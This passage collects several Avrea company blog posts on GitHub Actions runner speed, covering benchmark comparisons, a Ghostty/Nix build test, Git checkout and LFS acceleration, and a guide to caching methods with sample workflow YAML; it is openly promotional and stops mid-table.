Mäkijärvi](https://avrea.com/team/tatu-makijarvi)10 July 2026Updated 9 November 2026 Avrea is the fastest GitHub Actions runner in RunsOn's 4-vCPU x64 build benchmark, finishing the three workloads in 6m58s. Here is how that result compares with CPU scores, cache transfers and warm builds. Build results from RunsOn’s November 5 snapshot; CPU and cache results checked November 3, latest run November 2. Avrea took first place for combined build time in [RunsOn’s four-vCPU x64 comparison](https://runs-on.com/benchmarks/runners/). Its Rust, TypeScript and Docker workloads totalled 6m58s, versus GitHub’s 18m18s: 2.63x as fast, or 62% less build time. The ranking adds the median build-step times with build caches disabled; queueing and runner overhead are separate. Our [benchmark announcement](https://avrea.com/blog/avrea-runson-build-benchmark) has the full provider table and workload breakdown. Avrea is our product. The cross-provider build, CPU and cache results below are published by RunsOn, which also sells runners. We label Avrea’s own tests separately and link to the methods so you can assess both. ## What makes a GitHub Actions runner fast? A workflow spends time waiting for capacity, starting a runner, checking out code, installing dependencies, building and testing, and transferring caches and artifacts. The fastest CPU can still leave you waiting if another step dominates. Single-thread performance matters for serial work. Parallel compilation and test suites also depend on available cores, memory and how effectively the job uses them. CPU can matter in both cold and warm builds; cache hits reduce the amount of work left to do. Storage and network performance affect both. That is why a runner comparison needs three views: CPU performance, cache behavior, and an end-to-end run of your actual workflow. ## Which GitHub Actions runners have the fastest CPUs? The table shows **x64 runners with 2 vCPU and 8 GB RAM**, using PassMark single-thread scores. Higher is better. Scores are medians of completed jobs; RunsOn selects each provider’s highest-scoring tested variant at that size. | Runner / tested variant | PassMark single-thread | | --- | --- | | Namespace 2x8 | 4,639 | | Avrea | 4,503 | | RunsOn m8azn.large | 4,266 | | WarpBuild | 4,161 | | Blacksmith | 3,985 | | Ubicloud standard | 2,923 | | GitHub 2-core | 2,306 | Swipe to see more → Source: [RunsOn CPU benchmark](https://runs-on.com/benchmarks/github-actions-cpu-performance/), checked November 3, 2026; latest run November 2. Each listed score is the median of five runs. These are synthetic CPU scores, not build-time speedups. For **ARM64 at 4 vCPU and 16 GB RAM**, Avrea leads the same source’s single-thread comparison at 4,875 points, against 1,876 for GitHub. See the [ARM benchmark](https://avrea.com/blog/fastest-arm-github-actions-runners) for cold Rust build times at three runner sizes. Architecture and runner tier must match your workload; an x64 dependency may prevent an otherwise attractive ARM migration. Use these results to form a shortlist. For a highly parallel build, inspect all-core measurements too. For a memory-heavy test suite, match RAM as carefully as vCPU count. Providers or configurations absent from this selection have not been shown to be slower. ## How fast is the GitHub Actions cache? RunsOn’s cache test saves a 4 GB random file, deletes it, and restores it immediately on the same runner. The figures below are median step durations for **x64 runners with 4 vCPU and 16 GB RAM**, using `actions/cache`. Lower is better. | Runner / cache configuration | Restore | Save | | --- | --- | --- | | RunsOn + Magic Cache, m8azn.xlarge, tuned gp3 | 8s | 9s | | Avrea | 11s | 19s | | Blacksmith | 13s | 6s | | Namespace 4x16 | 18s | 13s | | StarSling | 21s | 20s | | WarpBuild | 28s | 16s | | GitHub 4-core | 46s | 25s | | Ubicloud standard | 70s | 56s | Swipe to see more → Source: [RunsOn cache benchmark](https://runs-on.com/benchmarks/github-actions-cache-performance/), checked November 3, 2026; latest run November 2. Storage configurations and cache backends differ; RunsOn’s row uses its tuned gp3 configuration with Magic Cache. The suite reports 3–5 runs per runner and action. This table retains the listed 16-GB configurations; it does not compare persistent cache volumes, snapshot runners or every build tool’s remote cache. Avrea restored this payload in 11 seconds versus GitHub’s 46 seconds: about 4.2x as fast for that step. Save times were 19 and 25 seconds respectively. Include both in the time your workflow spends waiting. A large random file is useful for comparing transfers, but your cache may contain thousands of small files, compress well, or miss after a dependency change. Measure your own payload and hit rate before projecting the result onto a whole build. For runner performance and caching details, see [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith) and [Avrea vs Depot](https://avrea.com/avrea-vs-depot). The [Avrea vs WarpBuild comparison](https://avrea.com/avrea-vs-warpbuild) covers both of WarpBuild’s cache options. [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud) compares its standard and premium runners, including CPU and cache results. Our separate [Avrea-published cache test](https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster) measured a 1 GB restore at 14.10 seconds on GitHub-hosted and 2.89 seconds on Avrea. That is a different test and payload, so those numbers should not be combined with RunsOn’s 4 GB results. ## Cold builds and warm builds need separate comparisons A cold build has no usable cache for the layer being tested. A warm build can reuse previously stored dependencies or build outputs. State which layer is warm: a package download cache, an `actions/cache` archive, a compiler cache, and a Docker layer cache each avoid different work. **GitHub-hosted runners can use caches across jobs.** A fresh VM does not mean a workflow must rebuild everything. GitHub supports restoring files through [dependency caching](https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching), and workflows can configure compatible external cache services. What matters is which cache is configured, whether it hits, and how long restoring it takes. On Avrea, [GitHub Actions cache requests](https://docs.avrea.com/cache/github-actions/) use colocated storage. Supported build tools also have [preconfigured remote build caches](https://docs.avrea.com/cache/build-cache/overview/), including Bazel, ccache, Go, Gradle, Nix, sccache and Turborepo. That reduces setup work and can avoid compilation when the inputs match. A warm Avrea run compared with a cold GitHub run demonstrates the combined effect of hardware and caching. It does not establish the speed difference between equally cached providers. For a purchasing decision, compare cold against cold and warm against warm. ## What do the differences mean for a real build? Our [Linux kernel benchmark](https://avrea.com/blog/linux-kernel-ci-benchmark) used the same kernel revision and build command on Ubuntu 24.04, with 2 vCPU and 7.8 GiB RAM on each provider. These are Avrea-published results from May 2026. | Build condition | GitHub-hosted | Avrea | | --- | --- | --- | | Cold: cache disabled | 27m 23s | 9m 3s | | Warm: populated ccache | Not measured | 24.1s | Swipe to see more → The cold comparison is about 3x faster on Avrea in this workload. The 24.1-second warm result shows what reusing compiled objects can do. Because that test did not measure GitHub with a populated ccache, it cannot tell you the warm-versus-warm difference. This is the distinction to look for in any large speedup claim. A repeat of an unchanged commit can be almost entirely cached. A real pull request may invalidate several tasks, and a toolchain or lockfile update may invalidate far more. Include those cases in your evaluation. ## Which runner should you choose? - **If most time goes to compilation or tests:** shortlist runners using CPU results, then test your actual parallelism and memory requirements. A larger machine only helps if the workload can use it. - **If installs and cache restores dominate:** check cache hit rates, transfer times and support for your build tools. Avrea is worth evaluating when you want its supported caches configured alongside the runner. - **If jobs are short:** measure queue and startup time under your normal concurrency. A quicker build step may not reduce total feedback time. - **If cost is the constraint:** compare cost per successful workflow, including retries, billing increments, storage and any plan or infrastructure fees. Price per minute alone can be misleading. GitHub-hosted remains a useful baseline, especially when your jobs already fit its included usage or free standard runners for public repositories. The [provider comparisons](https://avrea.com/alternatives) cover differences beyond speed, and our [GitHub Actions pricing guide](https://avrea.com/blog/github-actions-pricing) explains how to compare total costs. For macOS, test a real Xcode workflow with the same Xcode version, destination and cache state. Linux CPU scores do not predict an iOS build reliably. Avrea’s current [macOS offering](https://avrea.com/pricing) uses Apple M5 Max hardware; the relevant measure is how long your build and tests take on the runner size you would buy. ## How to benchmark runners on your own workflow 1. **Choose one representative workflow.** Use the same commit, commands, tool versions, OS and architecture, with comparable CPU and memory allocations. Keep deployment and release side effects out of the comparison. 2. **Define cold and warm conditions.** Use an isolated cache namespace or disable the relevant cache for cold runs. Populate each provider’s cache before warm measurements and verify hits in the logs. Record any automatic cache layer you cannot control. 3. **Test realistic changes.** Include an unchanged repeat, a small source edit, and a dependency change. Use the same changes on each provider so cache invalidation is comparable. 4. **Repeat and record the whole wait.** Run at different times and under representative concurrency. Track queue, startup, checkout, install, restore, build, test and save time, plus failures. Start with at least 10 runs per condition for an initial view; collect more before relying on tail percentiles. 5. **Compare outcomes.** Report the median and observed range with the sample count. Use p95 only with enough observations to make it useful. Compare total feedback time and cost per successful run, then investigate the slowest steps. For cache keys and misses, see our [GitHub Actions caching guide](https://avrea.com/blog/github-actions-cache). For deployment models and migration tradeoffs, see the [guide to GitHub Actions runners](https://avrea.com/blog/github-actions-runners). To try Avrea, follow the [getting started guide](https://docs.avrea.com/getting-started/), install the GitHub App for your test repository, and change the runner label in your comparison workflow: ``` runs-on: avrea-ubuntu-latest ``` [Start a comparison on Avrea](https://console.avrea.com/), then judge the result against your existing workflow with both caches configured. ## Frequently asked questions ### What is the fastest GitHub Actions runner in 2026? Avrea recorded the fastest combined build time in RunsOn’s November 5, 2026 comparison of four-vCPU x64 runners: 6m58s across Rust, TypeScript and Docker. That ranking covers the measured build steps. Compare your own workflow’s full duration, cache behavior and cost before choosing a runner. ### How much faster are third-party runners than GitHub-hosted? In RunsOn’s four-vCPU x64 build comparison, Avrea took 6m58s versus GitHub’s 18m18s, or 2.63x as fast. Our separate kernel test showed about a 3x improvement with cache disabled on both providers. The gain depends on the workload and cache state. ### Can GitHub-hosted runners have warm builds? Yes. A new VM can restore cached files or use a configured remote build cache. Check the build tool’s hit rate as well as the cache action’s output: restoring an archive does not guarantee the tool reuses every result. ### Do faster runners require workflow changes? On Avrea, install the GitHub App and change the `runs-on` label to begin. Verify image, architecture and tool compatibility for your workflow. Other providers’ setup and advanced cache features vary, so check the configuration you are actually testing. ### Should I choose ARM64 or macOS based on these scores? Choose the OS your build requires first, then an architecture your dependencies support. Test native workloads on each candidate. A Linux ARM64 CPU score is not an Xcode build benchmark, even when both runners use Apple silicon. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/ghostty-nix-ci-benchmark # Benchmark: Ghostty builds 3-27x faster on Avrea than GitHub Actions 10m 27s on GitHub Actions. 3m 33s on Avrea without cache. 23 seconds with a warm Nix binary cache. That's 2.9x from the hardware, 27x once caching kicks in. [Blog](https://avrea.com/blog) CI/CD 10m 27s on GitHub Actions. 3m 33s on Avrea without cache. 23 seconds with a warm Nix binary cache. That's 2.9x from the hardware, 27x once caching kicks in. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)11 May 2026 On GitHub Actions, a no-cache Ghostty build takes 10 minutes 27 seconds. On Avrea, the same build, same 2 vCPU spec: 3 minutes 33 seconds without cache, 23 seconds with a warm Nix binary cache. ## Why Ghostty [Ghostty](https://github.com/ghostty-org/ghostty) is an open-source terminal emulator by [Mitchell Hashimoto](https://mitchellh.com/) (of [HashiCorp](https://www.hashicorp.com/) fame), written in [Zig](https://ziglang.org/) and packaged with [Nix](https://nixos.org/). We picked it as a benchmark target because, well, many of us use it as our primary terminal emulator and because we didn’t have any other benchmarks that would be written in Zig or that would use Nix for packaging. Primarily we wanted to exercise and benchmark our Nix caching. Nix caches whole derivations: built packages keyed by the hash of their inputs. The full Ghostty build graph, including the compiler toolchain and system dependencies, is a graph of derivations. On a cache hit, Nix pulls the derivation’s output. On a miss, it builds from source. The more hits you get, the closer the build gets to doing nothing. ## How we ran the test We ran `nix build .` against a pinned Ghostty [commit](https://github.com/ghostty-org/ghostty/releases/tag/v1.3.1). Runner sizes matched across both sides. | | GitHub Actions | Avrea | | --- | --- | --- | | Runner label | `ubuntu-24.04` | `avrea-ubuntu-latest-2-vcpu` | | vCPU | 2 | 2 | | RAM | 7.8Gi | 7.8Gi | For the cached run, we used [Avrea’s Nix binary cache](https://docs.avrea.com/cache/build-cache/nix/) as a substitute for the default substituters. On the no-cache run, the binary cache was disabled; every derivation built from source. The GitHub Actions side had no binary cache backing on either run. The numbers are medians across runs. Avrea’s cached runs were tight (within a few seconds). GitHub Actions was noisier. Below is a self-contained example workflow of what we are measuring. ``` name: "Ghostty" on: workflow_dispatch: env: PROJECT_REPO: "https://github.com/ghostty-org/ghostty.git" PROJECT_TAG: "v1.3.1" jobs: build: runs-on: avrea-ubuntu-latest-2-vcpu steps: - name: Install Nix uses: cachix/install-nix-action@v31 - name: Clone project run: git clone --depth 1 --branch ${{ env.PROJECT_TAG }} ${{ env.PROJECT_REPO }} ghostty - name: Build working-directory: ghostty run: nix build .#ghostty --no-link ``` ## Results | | GitHub Actions | Avrea | Speedup | | --- | --- | --- | --- | | **No cache** | 10m 27s | 3m 33s | **2.9x** | | **With cache** | n/a | **23.0s** | **27.2x** | Hardware alone runs 2.9x faster. Pointing Nix at Avrea’s binary cache brings the warm time to 23 seconds, for 27x total. The Zig toolchain is the heaviest derivation in this build. On a cache miss it accounts for a big chunk of the cold time. On a cache hit, that same derivation becomes a read off disk. ## Why it’s faster ### The hardware (the 2.9x) A no-cache Ghostty build compiles Zig, builds system libraries, and links the final binary. CPU-heavy but also dependency-dense: many small builds, lots of filesystem operations for staging and linking. On a 2 vCPU runner, Avrea clocks roughly 6,500 sysbench events/sec single-core. GitHub does around 3,670. Disk is a wider gap: 4 GB/s vs 220 MB/s on writes. Hardware alone gives the 2.9x speedup. ### The cache (the 27x) Nix’s binary cache is content-addressed: if the inputs haven’t changed, the derivation’s output already exists somewhere, named by its hash. A cached build becomes: resolve the graph, read or fetch the cached outputs, done. Avrea’s cache is fast. “Fetch” is a read from this co-located storage. That’s how the Ghostty build goes from 10 minutes to 23 seconds without the compiler running at all. Nix’s caching model stores whole-derivation outputs rather than single compile units, which is why the warm number drops so hard. If you’re running Nix in CI without a cache like Avrea has you are missing out. ## Other benchmarks in this series - [Bazel](https://avrea.com/blog/bazel-ci-benchmark) (39.7x) - [Linux kernel](https://avrea.com/blog/linux-kernel-ci-benchmark) (68x) - [Kafka](https://avrea.com/blog/kafka-gradle-ci-benchmark) (6.6x) - [Next.js](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) (142x) - [RisingWave](https://avrea.com/blog/risingwave-sccache-ci-benchmark) (11.5x) ## About Avrea Avrea is a [drop-in replacement for GitHub Actions runners](https://avrea.com/ci-runners). Update the `runs-on` label in your workflow and the build moves over. Runs come with [CPU and memory metrics](https://avrea.com/observability), searchable log history, and a way to SSH into the running VM. [See pricing](https://avrea.com/pricing) or [start free on Avrea →](https://console.avrea.com/) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/git-checkout-acceleration # Get to the build sooner: Git pre-checkout, LFS caching, and submodules Avrea prepares Git repositories before checkout, caches large LFS downloads, and preloads submodules so CI can get to the build sooner. [Blog](https://avrea.com/blog) Product Updates Avrea prepares Git repositories before checkout, caches large LFS downloads, and preloads submodules so CI can get to the build sooner. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)16 October 2026 Your runner has CPU to spare, but the build has not started. It is still downloading source code, fetching submodules, or waiting for large Git LFS files. Avrea accelerates all three: prepare Git repositories before the checkout step, reuse large files from nearby storage, and preload the dependencies your repository already pins. ## Checkout time counts too The first bottleneck in a CI job often arrives before the first build step. A large repository takes time to transfer and submodules add more repositories to fetch. Git LFS adds a separate set of downloads for assets that can dwarf the source code itself. Repeat that across a test matrix, a stream of pull requests, and a few retries, and the same data moves again and again. Faster CPUs help once the work reaches them. Getting the inputs onto the runner sooner makes that hardware useful sooner. Avrea gives you three controls for this part of the job: **Git Checkout Acceleration**, **Git LFS Cache**, and **Git Submodule Pre-checkout**. Enable the ones your repository needs. ## Git pre-checkout: prepare the repository before checkout With Git Checkout Acceleration enabled, Avrea maintains a Git mirror in the runner’s datacenter. Repository runners prepare the checkout while the VM starts. Organization runners learn the repository when GitHub assigns the job, so they fetch from the local mirror during **Set up runner**. Both paths prepare Git objects before your checkout step; on organization runners, that fetch counts toward job runtime. By the time your checkout step runs, the repository can already be in place. `actions/checkout` can reuse the prepared Git objects instead of fetching them all from GitHub. There are two benefits: the transfer comes from nearby storage, and preparation starts before the job’s normal checkout step. Large source trees and workflows that repeatedly check out the same repository have more repeated transfer work to eliminate. Keep `actions/checkout` in your workflow. It still determines the final checkout according to your inputs. Root pre-checkout requires no workflow changes, and an unavailable mirror or unsuccessful preload falls back to the ordinary GitHub checkout path. A newly enabled mirror may need an initial sync before it can help. [See Git Checkout Acceleration](https://docs.avrea.com/cache/git-checkout/). ## Git LFS: reuse the large files Game assets, model weights, media, and large test fixtures can make downloading the repository’s contents much more expensive than downloading its source code. Those files may stay unchanged through dozens of commits, yet a fresh runner still needs them. Git LFS Cache keeps downloaded objects in storage beside Avrea runners. The first request fills the cache; later checkouts of the same repository can reuse the object. Fewer repeat downloads from GitHub means less transfer work between a job and its first useful step. Keep using `lfs: true` or your existing `git lfs pull` commands. GitHub continues to authorize transfers, and cached objects stay within the repository’s cache boundary. Cache misses fall back to GitHub. The current integration covers Git LFS downloads made directly on the runner; downloads from inside containers are not intercepted. [See Git LFS Cache](https://docs.avrea.com/cache/git-lfs/). ## Submodules: warm the repositories your build depends on A repository with submodules can spend its checkout step fetching an entire dependency tree. Shared libraries, vendor code, and nested components each add another repository and another set of Git objects to transfer. Git Submodule Pre-checkout extends preparation to eligible submodules. Avrea discovers them from the repository’s pinned commit and prepares the corresponding Git objects. You do not need to maintain a second list of dependencies for the cache. Choose **top-level** for direct submodules or **recursive** for nested dependencies. Your existing `submodules: true` or `submodules: recursive` input still controls what `actions/checkout` checks out. The action reuses available objects and fetches anything that was not prepared. That lets teams keep the repository structure they already use while reducing repeated dependency fetches. A project can pin a shared library to an exact commit and benefit from having that commit ready locally. Private submodules need authorization through the same GitHub App installation and a ready Avrea mirror. At repository scope, enable Git Checkout Acceleration for the root and each private submodule you want preloaded. Keep the workflow credentials required for ordinary private-submodule checkout, including fallback. [See submodule setup](https://docs.avrea.com/cache/git-checkout/#submodules). ## Turn on the parts your repository uses Open **Settings → Cache** in the [Avrea console](https://console.avrea.com), at organization or repository level. Git Checkout Acceleration and Git LFS Cache default to off; submodule pre-checkout defaults to root-only preparation. For a repository that uses all three, the equivalent CLI settings are: ``` avr settings set cache.git.enabled true avr settings set cache.lfs.enabled true avr settings set cache.git-submodules.mode recursive ``` Your checkout step remains familiar: ``` - uses: actions/checkout@v7 with: lfs: true submodules: recursive ``` Git pre-checkout prepares Git objects; the separate LFS cache handles large-file downloads. Keep any explicit LFS hydration steps your submodules already require. Root and submodule pre-checkout currently support GitHub repositories on Linux and macOS; Windows uses the normal checkout path. A source-heavy project can start with Git Checkout Acceleration. An asset-heavy project can add LFS caching. A project with shared libraries can extend preparation into its submodules. Each removes a different source of repeated work, so your next CI job can spend more of its time building and testing the change you made. [Enable checkout acceleration in Avrea](https://console.avrea.com), let the caches warm, and compare the next runs with your current checkout times. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/github-actions-cache # A guide to GitHub Actions caching Every way to cache in GitHub Actions: actions/cache, setup actions, Docker layers, tool caches, and faster backends, with YAML for each. [Blog](https://avrea.com/blog) CI/CD Every way to cache in GitHub Actions: actions/cache, setup actions, Docker layers, tool caches, and faster backends, with YAML for each. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)1 September 2026 There are multiple ways to cache in GitHub Actions: the `actions/cache` action, the caching built into setup actions, Docker layer cache exports, remote caches native to your build tools, persistent disks on self-hosted runners, and co-located cache backends from third-party runner providers. Which methods you need depends on what state your build recreates every run, and the biggest wins come from state the GitHub Actions cache alone doesn't cover. For repeatable work, caching is often the highest-leverage speedup in GitHub Actions. In our published benchmarks, faster hardware alone is worth 2 to 3x on cold builds, while a Next.js monorepo with Turborepo goes [from 3m 23s on GitHub Actions to 1.4 seconds with a warm Turborepo cache on Avrea, 142x faster](https://avrea.com/blog/nextjs-turborepo-ci-benchmark), and [the Linux kernel build drops from 27m 23s on a standard GitHub runner to 24.1 seconds warm with ccache on Avrea](https://avrea.com/blog/linux-kernel-ci-benchmark), a 68.2x difference. Most workflows collect a fraction of that, because they use the GitHub Actions cache for one dependency directory and nothing else. On GitHub-hosted ephemeral runners, anything you don’t restore, fetch from a mirror, or get from the runner image starts cold: Docker layers, compiler output, task results, package downloads, Git LFS objects. The larger multipliers are reachable only when the workload has stable, content-addressable work to reuse, and each kind of work has its own method. For each method, this guide shows what it caches, the YAML to configure it, its limits, and how it combines with the others. ## The `actions/cache` action [`actions/cache`](https://github.com/actions/cache) gives you explicit control over the GitHub Actions cache: you name paths and a key, it tars the paths into a compressed archive, and ships the archive to a cache service: GitHub’s own, backed by GitHub-owned cloud storage, or your runner provider’s co-located one. Restores run through the cache service API, one call for a signed URL and a second for the download. [In our benchmark](https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster), a 1 GB restore averaged 73 MB/s and 14.1 seconds end to end, with a 4 to 6x spread between the fastest and slowest run; on Avrea’s co-located cache the same restore takes 2.89 seconds. ``` - uses: actions/cache@v5 with: path: ~/.cache/pip key: pip-${{ runner.os }}-${{ hashFiles('requirements.lock') }} restore-keys: | pip-${{ runner.os }}- ``` The `key` must match exactly for a hit. `restore-keys` are prefix fallbacks: on a miss, the newest cache starting with `pip-Linux-` restores instead, so after a lockfile change the install starts from the previous package store and downloads only what changed, rather than starting from nothing. When save and restore need to happen at different points in a job, `actions/cache/restore` and `actions/cache/save` split the two halves. Hash the lockfile, not the source tree; a source-tree hash changes on nearly every commit, so nearly every run misses. Keep `runner.os` in the key, because an archive built on one OS restores broken paths and permissions on another, and give matrix jobs their matrix axis in the key for the same reason. A run can restore caches from its own branch or the default branch, and a pull request can read its base branch; sibling branches never share. On Avrea runners the same `actions/cache` steps (v4 and later) work unchanged; requests route to a cache proxy on the runner’s local network instead, up to 6x faster across cache sizes with a much tighter spread between runs. ## Caching built into the setup actions Most language setup actions wrap `actions/cache` for dependency caching, usually off until you opt in. `setup-node` takes `cache: npm`, `yarn`, or `pnpm`, and `setup-python` takes `pip`, `pipenv`, or `poetry`. `setup-java` covers Maven, Gradle, and sbt, `setup-dotnet` caches NuGet against a lock file, `ruby/setup-ruby` has `bundler-cache: true`, and `setup-go` is the exception: caching on by default, modules and build outputs both. ``` - uses: actions/setup-node@v7 with: node-version: 22 cache: npm ``` The built-ins hash your dependency manifests or lockfiles and cache the package manager’s global store, and the maintainers keep those paths current as runner images change. For standard dependency caching they’re usually better than hand-rolled keys. Outside `setup-go`, they don’t cache install output like `node_modules` or your build results; the install still runs, it just skips the network fetch. The same options work as-is on Avrea, and misses cost less there too: when a lockfile change invalidates the whole bundled archive, the re-install pulls every package from a pull-through mirror pre-configured in the runner image instead of the public registry, so even a full rebuild of the cache runs at local-network speed. ## Docker layer caching, four ways BuildKit can export a build’s layer cache and import it during a later build. The choice that matters is which [cache backend](https://docs.docker.com/build/cache/backends/) stores those layers. - **`type=gha`** stores layers in the GitHub Actions cache service. Configuration is minimal, but it inherits the transfer speeds above, one `mode=max` multi-stage build can crowd everything else out of the repo’s quota, and the cache API throttles busy builds; [Docker’s docs](https://docs.docker.com/build/cache/backends/gha/) recommend passing a GitHub token (`ghtoken`) so lookups use the regular API instead. `scope` defaults to `buildkit`, so if you build several images, give each its own scope or they overwrite one another’s cache. - **`type=registry`** pushes the cache as a separate image to a container registry. `mode=max` keeps intermediate layers; you pay in registry storage and pull time. - **`type=inline`** embeds cache metadata in the image itself. Only `mode=min`, so multi-stage builds mostly miss. - **`type=local`** writes to a directory, usually wrapped in `actions/cache`, which stacks both methods’ costs. ``` - uses: docker/build-push-action@v7 with: cache-from: type=gha cache-to: type=gha,mode=max ``` `RUN --mount=type=cache` mounts (apt lists, cargo registries, Go module downloads) live on the builder’s local disk and vanish with an ephemeral runner unless something persists them. Teams also try `docker save` into `actions/cache`; the image tarball usually gets big enough that restoring and loading it costs about what the pull did. With Avrea the same flags point at the co-located service instead: `type=gha,url_v2=https://cache.avrea.com/`. Unchanged layers restore rather than rebuilding, and the layer cache no longer competes with your dependency archives for space. The exact configuration is in [Avrea’s Docker cache docs](https://docs.avrea.com/cache/build-cache/docker/). ## Remote caches your build tools bring Compilers and task runners have had caching longer than CI has: ccache and sccache memoize compilations, Gradle, Turborepo, and Nx reuse task outputs, Bazel and Nix hash whole artifact graphs. Each supports a remote backend, `--remote_cache` for Bazel, a cache node for Gradle, `SCCACHE_BUCKET` for sccache, Vercel’s API or a self-hosted one for Turborepo. These caches want per-artifact lookups. Tar the whole directory through `actions/cache` and you restore gigabytes to check a few hashes, which is why that pairing disappoints on large projects. A native remote backend fixes that and adds operational work: it’s another service, and its storage and eviction become someone’s job. Avrea hosts native endpoints for eleven of these tools (Bazel, ccache, Docker, Go, Gradle, Maven, Nix, Nx, sccache, Turborepo, Xcode), so there is no service of your own to deploy, and on [the M5 Max macOS runners](https://avrea.com/blog/m5-max-runners-macos-arm-linux-ci-on-apple-silicon) the Xcode layer carries derived data and compiled modules between runs. The kernel numbers at the top of this guide come from this layer: cold on the same Avrea hardware, that build still takes just over nine minutes. ## Self-hosted runners: caching by owning the disk [Run your own runners](https://avrea.com/blog/github-actions-runners) and files on the local disk persist between jobs, which makes the disk itself a cache. Docker’s layer store stays warm and `RUNNER_TOOL_CACHE` keeps toolchains around; package manager stores survive too. Some teams add their own registry mirror (Artifactory, Verdaccio) on the same network for the package half. The tradeoff is the operating work you take on: disk cleanup, jobs reading each other’s leftovers, and a wider poisoning surface, because nothing wipes the machine between runs. Avrea keeps cache data between jobs while each job runs in a fresh ephemeral VM. Its [persistent disks](https://docs.avrea.com/persistent-disks/) cost $0.50 per provisioned GB per month, separate from the included repository cache. Jobs receive their own disk copies; by default, only the default branch publishes changes for later jobs. ## Faster cache backends Co-located caching means the runner reads cache storage from the same machines or the same local network, so restores never cross the public internet. Most third-party runner providers build some version of it, in different shapes: Depot around Docker layer storage, Blacksmith with snapshot-cloned sticky disks, Namespace with per-job cache volumes, RunsOn with an S3 bucket in your own AWS account. Our [runner comparisons](https://avrea.com/alternatives) explain how those caching approaches differ in practice. Transfer speed is only part of the comparison. The other part is coverage: which kinds of build state get a cache at all. Avrea is our product; the numbers below are published and linked, so you can check them. - **The Actions cache**, drop-in: identical YAML served from the local proxy at 354 MB/s, up to 6x faster than GitHub’s restores with a much tighter spread. - **Git checkout acceleration**, which preloads the repository from a datacenter-local mirror before `actions/checkout` runs. Enabled per repository, no workflow changes. - **Build caches** for the eleven tools above, a layer for compiler and task-runner output that `actions/cache` has no equivalent for. - **A package mirror** across nine ecosystems (JavaScript, Python, Go, Rust, JVM, .NET, Ruby, Swift, and Chocolatey on Windows), with npm entries verified against the hash npm itself publishes, and SwiftPM resolving checksummed archives instead of full git clones, 23 seconds down to 11. - **Git LFS**, so large files stop being re-downloaded each run. GitHub still authorizes every transfer. Avrea includes 25 GB of cache storage per repository, with additional storage available to purchase. Per-layer setup lives in [the Avrea cache docs](https://docs.avrea.com/cache/overview/). Private Swift package payloads use separate organization storage and do not count toward this repository quota. Vendor pages, ours included, call this intelligent caching or smart caching. In concrete terms it means each kind of build state gets its own cache layer, pre-configured in the runner, with storage next to the compute. ## Managing GitHub Actions caches The repository’s Actions tab lists caches under Management, the [REST API](https://docs.github.com/en/rest/actions/cache) exposes the same list and delete operations, and the [GitHub CLI](https://cli.github.com/manual/gh_cache) has them built in: ``` gh cache list gh cache delete # or --all ``` Each cache step prints hit or miss in the job log, and `gh cache list` shows entry sizes, enough to spot a key that never matches or one entry crowding the pool. When a cache underperforms, the checks are quick: read the step’s `cache-hit` output, compare restore time against the install or build time it replaces, list entries with `gh cache list --sort last_accessed_at --order asc`, and check that the key carries OS, architecture, toolchain version, and the lockfile hash. If a cache restores successfully but the build stays slow, [compare the install logs with runner metrics](https://avrea.com/blog/github-actions-observability) to see what work remains. Limits, all per repository: [10 GB of storage by default](https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching) (admins can raise it, and anything above is billed), eviction of entries unaccessed for 7 days, oldest-accessed-first deletion when over quota, and API rate limits of 200 uploads and 1,500 downloads per minute. Branch scoping is also a security boundary. GitHub’s docs put the first rule plainly: “Don’t store sensitive information in a cache,” because anyone who can open a pull request can read the base branch’s caches. The restriction on which refs may write and restore exists to block cache poisoning, where a low-privilege event plants a malicious cache that a later, more privileged workflow restores and trusts. On Avrea, caches are isolated per repository, the Actions layer is scoped by Git ref on top, and everything is encrypted in transit and at rest. `avr cache` in [the Avrea CLI](https://docs.avrea.com/cli/) does the same management jobs with JSON output; eviction follows the same shape, LRU over quota plus 7-day expiry. ## What not to cache Some paths make builds slower or leak data when cached: - Secrets or credentials, anywhere; anyone who can open a pull request can read base-branch caches - The `.git` directory: its timestamps churn every run, and in Docker builds they invalidate layers (add `.git` to `.dockerignore`) - Huge high-churn directories where transferring the archive costs more than redoing the work - OS- or toolchain-dependent output whose key doesn’t carry OS, architecture, and toolchain version - `node_modules` straight across Node versions; cache the package manager’s store instead ## Which caching method should you use? Start from where the minutes go: - Package downloads slow: a setup action, or the package mirror when your runner has one - Docker builds slow: BuildKit layer cache, `mode=max`, a `scope` per image - Compile or test tasks slow: the build tool’s native remote cache - Checkout or LFS slow: sparse checkout, a Git mirror, or an LFS cache - A later job needs files from this run: artifacts, not caches | Method | What it caches | Where it lives | Size limit | Reach for it when | | --- | --- | --- | --- | --- | | `actions/cache` | Any paths you name | GitHub cache storage | 10 GB/repo pool | Odd state no built-in covers | | Setup-action `cache:` | Package manager stores | Same pool, managed keys | Same pool | Default for language deps | | Docker `type=gha` | Image layers | Same pool | Same pool, plus BuildKit rate limits | Container builds, minimal config | | Docker `type=registry` | Image layers | Your container registry | Registry storage | Multi-stage builds, bigger caches | | Tool-native remote cache | Compile and task artifacts | A backend 